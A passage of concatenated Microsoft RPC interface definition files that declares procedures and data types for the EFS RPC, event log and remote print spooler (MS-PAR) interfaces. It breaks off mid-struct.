[in] ENCRYPTION_CERTIFICATE_LIST* EncryptionCertificates
);
DWORD EfsRpcFileKeyInfoEx(
[in] handle_t binding_h,
[in] DWORD dwFileKeyInfoFlags,
[in, unique] EFS_RPC_BLOB* Reserved,
[in, string] wchar_t* FileName,
[in] DWORD InfoClass,
[out] EFS_RPC_BLOB** KeyInfo
);
long Proc17_EfsRpcFileKeyInfoEx(
[out][ref]struct Struct_392_t** arg_1);
DWORD EfsRpcGetEncryptedFileMetadata(
[in] handle_t binding_h,
[in, string, ref] wchar_t* FileName,
[out, ref] EFS_RPC_BLOB** EfsStreamBlob
);
DWORD EfsRpcSetEncryptedFileMetadata(
[in] handle_t binding_h,
[in, string, ref] wchar_t* FileName,
[in, unique] EFS_RPC_BLOB* OldEfsStreamBlob,
[in, ref] EFS_RPC_BLOB* NewEfsStreamBlob,
[in, unique] ENCRYPTED_FILE_METADATA_SIGNATURE* NewEfsSignature
);
DWORD EfsRpcFlushEfsCache(
[in] handle_t binding_h
);
long EfsRpcEncryptFileExSrv(
[in] handle_t binding_h,
[in, string] wchar_t* FileName,
[in, string, unique] wchar_t* ProtectorDescriptor,
[in] unsigned long Flags
);
DWORD EfsRpcQueryProtectors(
[in] handle_t binding_h,
[in, string] wchar_t* FileName,
[out] PENCRYPTION_PROTECTOR_LIST** ppProtectorList);
long Proc23_EfsRpcWriteFileWithHeaderRaw(
[in][context_handle] void* arg_0,
[in]pipe char* arg_1,
[in]struct Struct_392_t* arg_2,
[in]hyper arg_3,
[in]long arg_4);
long Proc24_EdpRpcCredentialCreate(
[in][ptr][string] wchar_t* arg_1,
[in][ptr][string] wchar_t* arg_2,
[in][ptr][string] wchar_t* arg_3,
[out][ref][string] wchar_t** arg_4);
long Proc25_EdpRpcCredentialQuery(
[in][ptr][string] wchar_t* arg_1,
[in][ptr][string] wchar_t* arg_2,
[in][ptr][string] wchar_t* arg_3,
[out][ref][string] wchar_t** arg_4);
long Proc26_EdpRpcCredentialExists(
[in][ptr][string] wchar_t* arg_1,
[in][ptr][string] wchar_t* arg_2,
[in][ptr][string] wchar_t* arg_3,
[out]long* arg_4);
long Proc27_EdpRpcCredentialDelete(
[in]long arg_1,
[in][ptr][string] wchar_t* arg_2,
[in][ptr][string] wchar_t* arg_3,
[in][ptr][string] wchar_t* arg_4,
[in][ptr][string] wchar_t* arg_5);
long Proc28_EdpRpcQueryRevokedPolicyOwnerIds(
[in][ptr][string] wchar_t* arg_1,
[in]long arg_2,
[out][ref][string] wchar_t** arg_3);
long Proc29_EdpRpcQueryDplEnforcedPolicyOwnerIds(
[in][ptr][string] wchar_t* arg_1,
[out][ref][string] wchar_t** arg_2);
long Proc30_EdpRpcGetLockSessionWrappedKey(
[in][ptr][string] wchar_t* arg_1,
[in][ptr][size_is(arg_3)]/*[range(0,0)]*/ char* arg_2,
[in]long arg_3,
[out][ref][size_is(, *arg_5)]/*[range(0,0)]*/ char** arg_4,
[out]long* arg_5,
[out][ref][size_is(, *arg_7)]/*[range(0,0)]*/ char** arg_6,
[out]long* arg_7);
long Proc31_EdpRpcGetLockSessionUnwrappedKey(
[in][ptr][string] wchar_t* arg_1,
[in][ptr][size_is(arg_3)]/*[range(0,0)]*/ char* arg_2,
[in]long arg_3,
[in][ptr][size_is(arg_5)]/*[range(0,0)]*/ char* arg_4,
[in]long arg_5,
[out][ref][size_is(, *arg_7)]/*[range(0,0)]*/ char** arg_6,
[out]long* arg_7);
long Proc32_EdpRpcGetCredServiceState(
[out]long* arg_1,
[out]long* arg_2,
[out]long* arg_3,
[out]long* arg_4,
[out]long* arg_5,
[out]long* arg_6,
[out]long* arg_7,
[out]long* arg_8,
[out]long* arg_9);
long Proc33_EdpRpcDplUpgradePinInfo(
[in][ptr][string] wchar_t* arg_1,
[out]long* arg_2,
[out]long* arg_3,
[out]long* arg_4);
long Proc34_EdpRpcDplUpgradeVerifyUser(
[in][ptr][string] wchar_t* arg_1,
[in][ptr][string] wchar_t* arg_2,
[out]long* arg_3,
[out]unsigned __int3264* arg_4);
long Proc35_EdpRpcDplUserCredentialsSet(
[in][ptr][string] wchar_t* arg_1,
[in][ptr][string] wchar_t* arg_2,
[in]/* enum_16 */ short arg_3,
[in]unsigned __int3264 arg_4);
long Proc36_EdpRpcDplUserUnlockStart(
[in][ptr][string] wchar_t* arg_1,
[in][ptr][string] wchar_t* arg_2,
[in]hyper arg_3,
[out]unsigned __int3264* arg_4);
long Proc37_EdpRpcDplUserUnlockComplete(
[in][ptr][string] wchar_t* arg_1,
[in]long arg_2,
[in]unsigned __int3264 arg_3);
long Proc38_EdpRpcQueueFileForEncryption(
[in][unique]struct Struct_762_t* arg_1,
[in][unique][string] wchar_t* arg_2,
[in][unique][string] wchar_t* arg_3,
[in][string] wchar_t* arg_4);
long Proc39_EdpRpcServiceFileEncryptionQueue(
[in]char arg_1);
long Proc40_EdpRpcCredSvcControl(
[in]long arg_1,
[in][ptr][string] wchar_t* arg_2,
[in][ptr][string] wchar_t* arg_3,
[in][ptr][size_is(arg_5)]/*[range(0,0)]*/ char* arg_4,
[in]long arg_5,
[in][ptr][size_is(arg_7)]/*[range(0,0)]*/ char* arg_6,
[in]long arg_7,
[out][ref][size_is(, *arg_9)]/*[range(0,0)]*/ char** arg_8,
[out]long* arg_9);
long Proc41_EdpRpcRmsClearKeys(
);
long Proc42_EdpRpcRmsContainerizeFile(
[in][string] wchar_t* arg_1,
[in][string] wchar_t* arg_2,
[in][unique][string] wchar_t* arg_3,
[in][string] wchar_t* arg_4,
[out][ref][string] wchar_t** arg_5);
long Proc43_EdpRpcRmsGetContainerIdentity(
[in][string] wchar_t* arg_1,
[out][ref][string] wchar_t** arg_2);
long Proc44_EdpRpcRmsDecontainerizeFile(
[in][string] wchar_t* arg_1,
[in][string] wchar_t* arg_2,
[out][ref][string] wchar_t** arg_3);
long Proc45_EdpRpcAllowFileAccessForProcess(
[in][string] wchar_t* arg_1,
[in]long arg_2,
[in][unique][string] wchar_t* arg_3);
long Proc46_EdpRpcGetTfaCache(
[out][ref]struct Struct_972_t** arg_1);
}
================================================
FILE: IDL_FILES/ms-even.idl
================================================
[
uuid(82273FDC-E32A-18C3-3F78-827929DC23EA),
version(0.0),
#ifdef __midl
ms_union,
#endif // __midl
pointer_default(unique)
]
interface eventlog
{
// the following line(s) commented out to avoid redefinition of MS-DTYP types
//typedef long NTSTATUS;
#define MAX_STRINGS 0x00000100
#define MAX_SINGLE_EVENT 0x0003FFFF
#define MAX_BATCH_BUFF 0x0007FFFF
typedef long NTSTATUS;
typedef unsigned short wchar_t;
typedef void* ADCONNECTION_HANDLE;
typedef int BOOL, * PBOOL, * LPBOOL;
typedef unsigned char BYTE, * PBYTE, * LPBYTE;
typedef BYTE BOOLEAN, * PBOOLEAN;
typedef wchar_t WCHAR, * PWCHAR;
typedef WCHAR* BSTR;
typedef char CHAR, * PCHAR;
typedef double DOUBLE;
typedef unsigned long ULONG, * PULONG;
typedef unsigned long DWORD, * PDWORD, * LPDWORD;
typedef unsigned int DWORD32;
typedef unsigned __int64 DWORD64, * PDWORD64;
typedef unsigned __int64 ULONGLONG;
typedef ULONGLONG DWORDLONG, * PDWORDLONG;
typedef unsigned long error_status_t;
typedef float FLOAT;
typedef unsigned char UCHAR, * PUCHAR;
typedef short SHORT;
typedef struct _RPC_UNICODE_STRING {
unsigned short Length;
unsigned short MaximumLength;
[size_is(MaximumLength / 2), length_is(Length / 2)]
WCHAR* Buffer;
} RPC_UNICODE_STRING,
* PRPC_UNICODE_STRING;
typedef struct _FILETIME {
DWORD dwLowDateTime;
DWORD dwHighDateTime;
} FILETIME,
* PFILETIME,
* LPFILETIME;
typedef struct _RPC_SID_IDENTIFIER_AUTHORITY {
byte Value[6];
} RPC_SID_IDENTIFIER_AUTHORITY;
typedef struct _RPC_SID {
unsigned char Revision;
unsigned char SubAuthorityCount;
RPC_SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
[size_is(SubAuthorityCount)] unsigned long SubAuthority[];
} RPC_SID,
* PRPC_SID,
* PSID;
typedef struct _RPC_STRING
{
unsigned short Length;
unsigned short MaximumLength;
[size_is(MaximumLength)] char* Buffer;
} RPC_STRING, * PRPC_STRING;
typedef struct _RPC_CLIENT_ID {
unsigned long UniqueProcess;
unsigned long UniqueThread;
} RPC_CLIENT_ID, * PRPC_CLIENT_ID;
typedef [handle, unique] wchar_t* EVENTLOG_HANDLE_W;
typedef [handle, unique] char* EVENTLOG_HANDLE_A;
typedef [context_handle] void* IELF_HANDLE;
typedef [context_handle] void** PIELF_HANDLE;
typedef [range(0, MAX_BATCH_BUFF)] unsigned long RULONG;
NTSTATUS
ElfrClearELFW(
[in] IELF_HANDLE LogHandle,
[in, unique] PRPC_UNICODE_STRING BackupFileName
);
NTSTATUS
ElfrBackupELFW(
[in] IELF_HANDLE LogHandle,
[in] PRPC_UNICODE_STRING BackupFileName
);
NTSTATUS
ElfrCloseEL(
[in, out] IELF_HANDLE* LogHandle
);
NTSTATUS
ElfrDeregisterEventSource(
[in, out] IELF_HANDLE* LogHandle
);
NTSTATUS
ElfrNumberOfRecords(
[in] IELF_HANDLE LogHandle,
[out] unsigned long* NumberOfRecords
);
NTSTATUS
ElfrOldestRecord(
[in] IELF_HANDLE LogHandle,
[out] unsigned long* OldestRecordNumber
);
NTSTATUS
ElfrChangeNotify(
[in] IELF_HANDLE LogHandle,
[in] RPC_CLIENT_ID ClientId,
[in] ULONG Event
);
NTSTATUS
ElfrOpenELW(
[in] EVENTLOG_HANDLE_W UNCServerName,
[in] PRPC_UNICODE_STRING ModuleName,
[in] PRPC_UNICODE_STRING RegModuleName,
[in] unsigned long MajorVersion,
[in] unsigned long MinorVersion,
[out] IELF_HANDLE* LogHandle
);
NTSTATUS
ElfrRegisterEventSourceW(
[in] EVENTLOG_HANDLE_W UNCServerName,
[in] PRPC_UNICODE_STRING ModuleName,
[in] PRPC_UNICODE_STRING RegModuleName,
[in] unsigned long MajorVersion,
[in] unsigned long MinorVersion,
[out] IELF_HANDLE* LogHandle
);
NTSTATUS
ElfrOpenBELW(
[in] EVENTLOG_HANDLE_W UNCServerName,
[in] PRPC_UNICODE_STRING BackupFileName,
[in] unsigned long MajorVersion,
[in] unsigned long MinorVersion,
[out] IELF_HANDLE* LogHandle
);
NTSTATUS
ElfrReadELW(
[in] IELF_HANDLE LogHandle,
[in] unsigned long ReadFlags,
[in] unsigned long RecordOffset,
[in] RULONG NumberOfBytesToRead,
[out, size_is(NumberOfBytesToRead)] unsigned char* Buffer,
[out] unsigned long* NumberOfBytesRead,
[out] unsigned long* MinNumberOfBytesNeeded
);
NTSTATUS
ElfrReportEventW(
[in] IELF_HANDLE LogHandle,
[in] unsigned long Time,
[in] unsigned short EventType,
[in] unsigned short EventCategory,
[in] unsigned long EventID,
[in, range(0, 256)] unsigned short NumStrings,
[in, range(0, 61440)] unsigned long DataSize,
[in] PRPC_UNICODE_STRING ComputerName,
[in, unique] PRPC_SID UserSID,
[in, size_is(NumStrings), unique] PRPC_UNICODE_STRING Strings[*],
[in, size_is(DataSize), unique] unsigned char* Data,
[in] unsigned short Flags,
[in, out, unique] unsigned long* RecordNumber,
[in, out, unique] unsigned long* TimeWritten
);
NTSTATUS
ElfrClearELFA(
[in] IELF_HANDLE LogHandle,
[in, unique] PRPC_STRING BackupFileName
);
NTSTATUS
ElfrBackupELFA(
[in] IELF_HANDLE LogHandle,
[in] PRPC_STRING BackupFileName
);
NTSTATUS
ElfrOpenELA(
[in] EVENTLOG_HANDLE_A UNCServerName,
[in] PRPC_STRING ModuleName,
[in] PRPC_STRING RegModuleName,
[in] unsigned long MajorVersion,
[in] unsigned long MinorVersion,
[out] IELF_HANDLE* LogHandle
);
NTSTATUS
ElfrRegisterEventSourceA(
[in] EVENTLOG_HANDLE_A UNCServerName,
[in] PRPC_STRING ModuleName,
[in] PRPC_STRING RegModuleName,
[in] unsigned long MajorVersion,
[in] unsigned long MinorVersion,
[out] IELF_HANDLE* LogHandle
);
NTSTATUS
ElfrOpenBELA(
[in] EVENTLOG_HANDLE_A UNCServerName,
[in] PRPC_STRING BackupFileName,
[in] unsigned long MajorVersion,
[in] unsigned long MinorVersion,
[out] IELF_HANDLE* LogHandle
);
NTSTATUS
ElfrReadELA(
[in] IELF_HANDLE LogHandle,
[in] unsigned long ReadFlags,
[in] unsigned long RecordOffset,
[in] RULONG NumberOfBytesToRead,
[out, size_is(NumberOfBytesToRead)] unsigned char* Buffer,
[out] unsigned long* NumberOfBytesRead,
[out] unsigned long* MinNumberOfBytesNeeded
);
NTSTATUS
ElfrReportEventA(
[in] IELF_HANDLE LogHandle,
[in] unsigned long Time,
[in] unsigned short EventType,
[in] unsigned short EventCategory,
[in] unsigned long EventID,
[in, range(0, 256)] unsigned short NumStrings,
[in, range(0, 61440)] unsigned long DataSize,
[in] PRPC_STRING ComputerName,
[in, unique] PRPC_SID UserSID,
[in, size_is(NumStrings), unique] PRPC_STRING Strings[*],
[in, size_is(DataSize), unique] unsigned char* Data,
[in] unsigned short Flags,
[in, out, unique] unsigned long* RecordNumber,
[in, out, unique] unsigned long* TimeWritten
);
void Opnum19NotUsedOnWire(void);
void Opnum20NotUsedOnWire(void);
void Opnum21NotUsedOnWire(void);
NTSTATUS
ElfrGetLogInformation(
[in] IELF_HANDLE LogHandle,
[in] unsigned long InfoLevel,
[out, size_is(cbBufSize)] unsigned char* lpBuffer,
[in, range(0, 1024)] unsigned long cbBufSize,
[out] unsigned long* pcbBytesNeeded
);
void Opnum23NotUsedOnWire(void);
NTSTATUS
ElfrReportEventAndSourceW(
[in] IELF_HANDLE LogHandle,
[in] unsigned long Time,
[in] unsigned short EventType,
[in] unsigned short EventCategory,
[in] unsigned long EventID,
[in] PRPC_UNICODE_STRING SourceName,
[in, range(0, 256)] unsigned short NumStrings,
[in, range(0, 61440)] unsigned long DataSize,
[in] PRPC_UNICODE_STRING ComputerName,
[in, unique] PRPC_SID UserSID,
[in, size_is(NumStrings), unique] PRPC_UNICODE_STRING Strings[*],
[in, size_is(DataSize), unique] unsigned char* Data,
[in] unsigned short Flags,
[in, out, unique] unsigned long* RecordNumber,
[in, out, unique] unsigned long* TimeWritten
);
NTSTATUS ElfrReportEventExW(
[in] IELF_HANDLE LogHandle,
[in] PFILETIME TimeGenerated,
[in] unsigned short EventType,
[in] unsigned short EventCategory,
[in] unsigned long EventID,
[in, range(0, 256)] unsigned short NumStrings,
[in, range(0, 61440)] unsigned long DataSize,
[in] PRPC_UNICODE_STRING ComputerName,
[in, unique] PRPC_SID UserSID,
[in, size_is(NumStrings), unique] PRPC_UNICODE_STRING Strings[*],
[in, size_is(DataSize), unique] unsigned char* Data,
[in] unsigned short Flags,
[in, out, unique] unsigned long* RecordNumber
);
NTSTATUS ElfrReportEventExA(
[in] IELF_HANDLE LogHandle,
[in] PFILETIME TimeGenerated,
[in] unsigned short EventType,
[in] unsigned short EventCategory,
[in] unsigned long EventID,
[in, range(0, 256)] unsigned short NumStrings,
[in, range(0, 61440)] unsigned long DataSize,
[in] PRPC_STRING ComputerName,
[in, unique] PRPC_SID UserSID,
[in, size_is(NumStrings), unique] PRPC_STRING Strings[*],
[in, size_is(DataSize), unique] unsigned char* Data,
[in] unsigned short Flags,
[in, out, unique] unsigned long* RecordNumber
);
}
================================================
FILE: IDL_FILES/ms-par.idl
================================================
[
uuid(76f03f96-cdfd-44fc-a22c-64950a001209),
version(1.0),
]
interface IRemoteWinspool
{
#define TABLE_DWORD 0x1
#define TABLE_STRING 0x2
#define TABLE_DEVMODE 0x3
#define TABLE_TIME 0x4
#define TABLE_SECURITYDESCRIPTOR 0x5
typedef unsigned char BYTE, * PBYTE, * LPBYTE;
typedef unsigned long DWORD, * PDWORD, * LPDWORD;
typedef wchar_t WCHAR, * PWCHAR;
typedef unsigned __int64 ULONGLONG;
typedef ULONGLONG DWORDLONG, * PDWORDLONG;
typedef __int3264 LONG_PTR;
typedef unsigned short WORD, * PWORD, * LPWORD;
typedef unsigned short USHORT;
typedef unsigned char UCHAR, * PUCHAR;
typedef long LONG, * PLONG, * LPLONG;
typedef signed __int64 LONGLONG;
typedef LONG HRESULT;
typedef struct _GUID {
unsigned long Data1;
unsigned short Data2;
unsigned short Data3;
byte Data4[8];
} GUID,
UUID,
* PGUID;
typedef struct _RPC_SID_IDENTIFIER_AUTHORITY {
byte Value[6];
} RPC_SID_IDENTIFIER_AUTHORITY;
typedef struct _RPC_SID {
unsigned char Revision;
unsigned char SubAuthorityCount;
RPC_SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
[size_is(SubAuthorityCount)] unsigned long SubAuthority[];
} RPC_SID,
* PRPC_SID,
* PSID;
typedef struct _ACL {
unsigned char AclRevision;
unsigned char Sbz1;
unsigned short AclSize;
unsigned short AceCount;
unsigned short Sbz2;
} ACL,
* PACL;
typedef struct _FILETIME {
DWORD dwLowDateTime;
DWORD dwHighDateTime;
} FILETIME,
* PFILETIME,
* LPFILETIME;
typedef struct _SYSTEMTIME {
WORD wYear;
WORD wMonth;
WORD wDayOfWeek;
WORD wDay;
WORD wHour;
WORD wMinute;
WORD wSecond;
WORD wMilliseconds;
} SYSTEMTIME,
* PSYSTEMTIME;
typedef struct _SECURITY_DESCRIPTOR {
UCHAR Revision;
UCHAR Sbz1;
USHORT Control;
PSID Owner;
PSID Group;
PACL Sacl;
PACL Dacl;
} SECURITY_DESCRIPTOR,
* PSECURITY_DESCRIPTOR;
typedef enum {
BIDI_NULL = 0,
BIDI_INT = 1,
BIDI_FLOAT = 2,
BIDI_BOOL = 3,
BIDI_STRING = 4,
BIDI_TEXT = 5,
BIDI_ENUM = 6,
BIDI_BLOB = 7
} BIDI_TYPE;
typedef enum {
kRpcPropertyTypeString = 1,
kRpcPropertyTypeInt32,
kRpcPropertyTypeInt64,
kRpcPropertyTypeByte,
kRpcPropertyTypeBuffer
} RPC_EPrintPropertyType;
typedef enum {
kInvalidJobState = 0,
kLogJobPrinted,
kLogJobRendered,
kLogJobError,
kLogJobPipelineError,
kLogOfflineFileFull
} EBranchOfficeJobEventType;
// [MS-RPRN] common data types
typedef unsigned short LANGID;
typedef [context_handle] void* GDI_HANDLE;
typedef [context_handle] void* PRINTER_HANDLE;
typedef [handle] wchar_t* STRING_HANDLE;
// [MS-RPRN] common utility structures
typedef struct {
long cx;
long cy;
} SIZE;
typedef struct {
long left;
long top;
long right;
long bottom;
} RECTL;
// [MS-RPRN] common device state structure
typedef struct _devicemode {
wchar_t dmDeviceName[32];
unsigned short dmSpecVersion;
unsigned short dmDriverVersion;
unsigned short dmSize;
unsigned short dmDriverExtra;
DWORD dmFields;
short dmOrientation;
short dmPaperSize;
short dmPaperLength;
short dmPaperWidth;
short dmScale;
short dmCopies;
short dmDefaultSource;
short dmPrintQuality;
short dmColor;
short dmDuplex;
short dmYResolution;
short dmTTOption;
short dmCollate;
wchar_t dmFormName[32];
unsigned short reserved0;
DWORD reserved1;
DWORD reserved2;
DWORD reserved3;
DWORD dmNup;
DWORD reserved4;
DWORD dmICMMethod;
DWORD dmICMIntent;
DWORD dmMediaType;
DWORD dmDitherType;
DWORD reserved5;
DWORD reserved6;
DWORD reserved7;
DWORD reserved8;
} DEVMODE;
// [MS-RPRN] common info structures
typedef struct _DOC_INFO_1 {
[string] wchar_t* pDocName;
[string] wchar_t* pOutputFile;
[string] wchar_t* pDatatype;
} DOC_INFO_1;
typedef struct _DRIVER_INFO_1 {
[string] wchar_t* pName;
} DRIVER_INFO_1;
typedef struct _DRIVER_INFO_2 {
DWORD cVersion;
[string] wchar_t* pName;
[string] wchar_t* pEnvironment;
[string] wchar_t* pDriverPath;
[string] wchar_t* pDataFile;
[string] wchar_t* pConfigFile;
} DRIVER_INFO_2;
typedef struct _RPC_DRIVER_INFO_3 {
DWORD cVersion;
[string] wchar_t* pName;
[string] wchar_t* pEnvironment;
[string] wchar_t* pDriverPath;
[string] wchar_t* pDataFile;
[string] wchar_t* pConfigFile;
[string] wchar_t* pHelpFile;
[string] wchar_t* pMonitorName;
[string] wchar_t* pDefaultDataType;
DWORD cchDependentFiles;
[size_is(cchDependentFiles), unique]
wchar_t* pDependentFiles;
} RPC_DRIVER_INFO_3;
typedef struct _RPC_DRIVER_INFO_4 {
DWORD cVersion;
[string] wchar_t* pName;
[string] wchar_t* pEnvironment;
[string] wchar_t* pDriverPath;
[string] wchar_t* pDataFile;
[string] wchar_t* pConfigFile;
[string] wchar_t* pHelpFile;
[string] wchar_t* pMonitorName;
[string] wchar_t* pDefaultDataType;
DWORD cchDependentFiles;
[size_is(cchDependentFiles), unique]
wchar_t* pDependentFiles;
DWORD cchPreviousNames;
[size_is(cchPreviousNames), unique]
wchar_t* pszzPreviousNames;
} RPC_DRIVER_INFO_4;
typedef struct _RPC_DRIVER_INFO_6 {
DWORD cVersion;
[string] wchar_t* pName;
[string] wchar_t* pEnvironment;
[string] wchar_t* pDriverPath;
[string] wchar_t* pDataFile;
[string] wchar_t* pConfigFile;
[string] wchar_t* pHelpFile;
[string] wchar_t* pMonitorName;
[string] wchar_t* pDefaultDataType;
DWORD cchDependentFiles;
[size_is(cchDependentFiles), unique]
wchar_t* pDependentFiles;
DWORD cchPreviousNames;
[size_is(cchPreviousNames), unique]
wchar_t* pszzPreviousNames;
FILETIME ftDriverDate;
DWORDLONG dwlDriverVersion;
[string] wchar_t* pMfgName;
[string] wchar_t* pOEMUrl;
[string] wchar_t* pHardwareID;
[string] wchar_t* pProvider;
} RPC_DRIVER_INFO_6;
typedef struct _RPC_DRIVER_INFO_8 {
DWORD cVersion;
[string] wchar_t* pName;
[string] wchar_t* pEnvironment;
[string] wchar_t* pDriverPath;
[string] wchar_t* pDataFile;
[string] wchar_t* pConfigFile;
[string] wchar_t* pHelpFile;
[string] wchar_t* pMonitorName;
[string] wchar_t* pDefaultDataType;
DWORD cchDependentFiles;
[size_is(cchDependentFiles), unique]
wchar_t* pDependentFiles;
DWORD cchPreviousNames;
[size_is(cchPreviousNames), unique]
wchar_t* pszzPreviousNames;
FILETIME ftDriverDate;
DWORDLONG dwlDriverVersion;
[string] wchar_t* pMfgName;
[string] wchar_t* pOEMUrl;
[string] wchar_t* pHardwareID;
[string] wchar_t* pProvider;
[string] wchar_t* pPrintProcessor;
[string] wchar_t* pVendorSetup;
DWORD cchColorProfiles;
[size_is(cchColorProfiles), unique]
wchar_t* pszzColorProfiles;
[string] wchar_t* pInfPath;
DWORD dwPrinterDriverAttributes;
DWORD cchCoreDependencies;
[size_is(cchCoreDependencies), unique]
wchar_t* pszzCoreDriverDependencies;
FILETIME ftMinInboxDriverVerDate;
DWORDLONG dwlMinInboxDriverVerVersion;
} RPC_DRIVER_INFO_8;
typedef struct _FORM_INFO_1 {
DWORD Flags;
[string] wchar_t* pName;
SIZE Size;
RECTL ImageableArea;
} FORM_INFO_1;
typedef struct _RPC_FORM_INFO_2 {
DWORD Flags;
[string, unique] const wchar_t* pName;
SIZE Size;
RECTL ImageableArea;
[string, unique] const char* pKeyword;
DWORD StringType;
[string, unique] const wchar_t* pMuiDll;
DWORD dwResourceId;
[string, unique] const wchar_t* pDisplayName;
LANGID wLangID;
} RPC_FORM_INFO_2;
typedef struct _JOB_INFO_1 {
DWORD JobId;
[string] wchar_t* pPrinterName;
[string] wchar_t* pMachineName;
[string] wchar_t* pUserName;
[string] wchar_t* pDocument;
[string] wchar_t* pDatatype;
[string] wchar_t* pStatus;
DWORD Status;
DWORD Priority;
DWORD Position;
DWORD TotalPages;
DWORD PagesPrinted;
SYSTEMTIME Submitted;
} JOB_INFO_1;
typedef struct _JOB_INFO_2 {
DWORD JobId;
[string] wchar_t* pPrinterName;
[string] wchar_t* pMachineName;
[string] wchar_t* pUserName;
[string] wchar_t* pDocument;
[string] wchar_t* pNotifyName;
[string] wchar_t* pDatatype;
[string] wchar_t* pPrintProcessor;
[string] wchar_t* pParameters;
[string] wchar_t* pDriverName;
DEVMODE* pDevMode;
[string] wchar_t* pStatus;
SECURITY_DESCRIPTOR* pSecurityDescriptor;
DWORD Status;
DWORD Priority;
DWORD Position;
DWORD StartTime;
DWORD UntilTime;
DWORD TotalPages;
DWORD Size;
SYSTEMTIME Submitted;
DWORD Time;
DWORD PagesPrinted;
} JOB_INFO_2;
typedef struct _JOB_INFO_3 {
DWORD JobId;
DWORD NextJobId;
DWORD Reserved;
} JOB_INFO_3;
typedef struct _JOB_INFO_4 {
DWORD JobId;
[string] wchar_t* pPrinterName;
[string] wchar_t* pMachineName;
[string] wchar_t* pUserName;
[string] wchar_t* pDocument;
[string] wchar_t* pNotifyName;
[string] wchar_t* pDatatype;
[string] wchar_t* pPrintProcessor;
[string] wchar_t* pParameters;
[string] wchar_t* pDriverName;
DEVMODE* pDevMode;
[string] wchar_t* pStatus;
SECURITY_DESCRIPTOR* pSecurityDescriptor;
DWORD Status;
DWORD Priority;
DWORD Position;
DWORD StartTime;
DWORD UntilTime;
DWORD TotalPages;
DWORD Size;
SYSTEMTIME Submitted;
DWORD Time;
DWORD PagesPrinted;
long SizeHigh;
} JOB_INFO_4;
typedef struct _MONITOR_INFO_1 {
[string] wchar_t* pName;
} MONITOR_INFO_1;
typedef struct _MONITOR_INFO_2 {
[string] wchar_t* pName;
[string] wchar_t* pEnvironment;
[string] wchar_t* pDLLName;
} MONITOR_INFO_2;
typedef struct _PORT_INFO_1 {
[string] wchar_t* pPortName;
} PORT_INFO_1;
typedef struct _PORT_INFO_2 {
[string] wchar_t* pPortName;
[string] wchar_t* pMonitorName;
[string] wchar_t* pDescription;
DWORD fPortType;
DWORD Reserved;
} PORT_INFO_2;
typedef struct _PORT_INFO_3 {
DWORD dwStatus;
[string] wchar_t* pszStatus;
DWORD dwSeverity;
} PORT_INFO_3;
typedef struct _PORT_INFO_FF {
[string] wchar_t* pPortName;
DWORD cbMonitorData;
BYTE* pMonitorData;
} PORT_INFO_FF;
typedef struct _PRINTER_INFO_STRESS {
[string] wchar_t* pPrinterName;
[string] wchar_t* pServerName;
DWORD cJobs;
DWORD cTotalJobs;
DWORD cTotalBytes;
SYSTEMTIME stUpTime;
DWORD MaxcRef;
DWORD cTotalPagesPrinted;
DWORD dwGetVersion;
DWORD fFreeBuild;
DWORD cSpooling;
DWORD cMaxSpooling;
DWORD cRef;
DWORD cErrorOutOfPaper;
DWORD cErrorNotReady;
DWORD cJobError;
DWORD dwNumberOfProcessors;
DWORD dwProcessorType;
DWORD dwHighPartTotalBytes;
DWORD cChangeID;
DWORD dwLastError;
DWORD Status;
DWORD cEnumerateNetworkPrinters;
DWORD cAddNetPrinters;
unsigned short wProcessorArchitecture;
unsigned short wProcessorLevel;
DWORD cRefIC;
DWORD dwReserved2;
DWORD dwReserved3;
} PRINTER_INFO_STRESS;
typedef struct _PRINTER_INFO_1 {
DWORD Flags;
[string] wchar_t* pDescription;
[string] wchar_t* pName;
[string] wchar_t* pComment;
} PRINTER_INFO_1;
typedef struct _PRINTER_INFO_2 {
[string] wchar_t* pServerName;
[string] wchar_t* pPrinterName;
[string] wchar_t* pShareName;
[string] wchar_t* pPortName;
[string] wchar_t* pDriverName;
[string] wchar_t* pComment;
[string] wchar_t* pLocation;
DEVMODE* pDevMode;
[string] wchar_t* pSepFile;
[string] wchar_t* pPrintProcessor;
[string] wchar_t* pDatatype;
[string] wchar_t* pParameters;
SECURITY_DESCRIPTOR* pSecurityDescriptor;
DWORD Attributes;
DWORD Priority;
DWORD DefaultPriority;
DWORD StartTime;
DWORD UntilTime;
DWORD Status;
DWORD cJobs;
DWORD AveragePPM;
} PRINTER_INFO_2;
typedef struct _PRINTER_INFO_3 {
SECURITY_DESCRIPTOR* pSecurityDescriptor;
} PRINTER_INFO_3;
typedef struct _PRINTER_INFO_4 {
[string] wchar_t* pPrinterName;
[string] wchar_t* pServerName;
DWORD Attributes;
} PRINTER_INFO_4;
typedef struct _PRINTER_INFO_5 {
[string] wchar_t* pPrinterName;
[string] wchar_t* pPortName;
DWORD Attributes;
DWORD DeviceNotSelectedTimeout;
DWORD TransmissionRetryTimeout;
} PRINTER_INFO_5;
typedef struct _PRINTER_INFO_6 {
DWORD dwStatus;
} PRINTER_INFO_6;
typedef struct _PRINTER_INFO_7 {
[string] wchar_t* pszObjectGUID;
DWORD dwAction;
} PRINTER_INFO_7;
typedef struct _PRINTER_INFO_8 {
DEVMODE* pDevMode;
} PRINTER_INFO_8;
typedef struct _PRINTER_INFO_9 {
DEVMODE* pDevMode;
} PRINTER_INFO_9;
typedef struct _SPLCLIENT_INFO_1 {
DWORD dwSize;
[string] wchar_t* pMachineName;
[string] wchar_t* pUserName;
DWORD dwBuildNum;
DWORD dwMajorVersion;
DWORD dwMinorVersion;
unsigned short wProcessorArchitecture;
} SPLCLIENT_INFO_1;
typedef struct _SPLCLIENT_INFO_2 {
LONG_PTR notUsed;
} SPLCLIENT_INFO_2;
typedef struct _SPLCLIENT_INFO_3 {
unsigned int cbSize;
DWORD dwFlags;
DWORD dwSize;
[string] wchar_t* pMachineName;
[string] wchar_t* pUserName;
DWORD dwBuildNum;
DWORD dwMajorVersion;
DWORD dwMinorVersion;
unsigned short wProcessorArchitecture;
unsigned __int64 hSplPrinter;
} SPLCLIENT_INFO_3;
// [MS-RPRN] common info container structures
typedef struct _DEVMODE_CONTAINER {
DWORD cbBuf;
[size_is(cbBuf), unique] BYTE* pDevMode;
} DEVMODE_CONTAINER;
typedef struct _DOC_INFO_CONTAINER {
DWORD Level;
[switch_is(Level)] union {
[case(1)]
DOC_INFO_1* pDocInfo1;
} DocInfo;
} DOC_INFO_CONTAINER;
typedef struct _DRIVER_CONTAINER {
DWORD Level;
[switch_is(Level)] union {
[case(1)]
DRIVER_INFO_1* Level1;
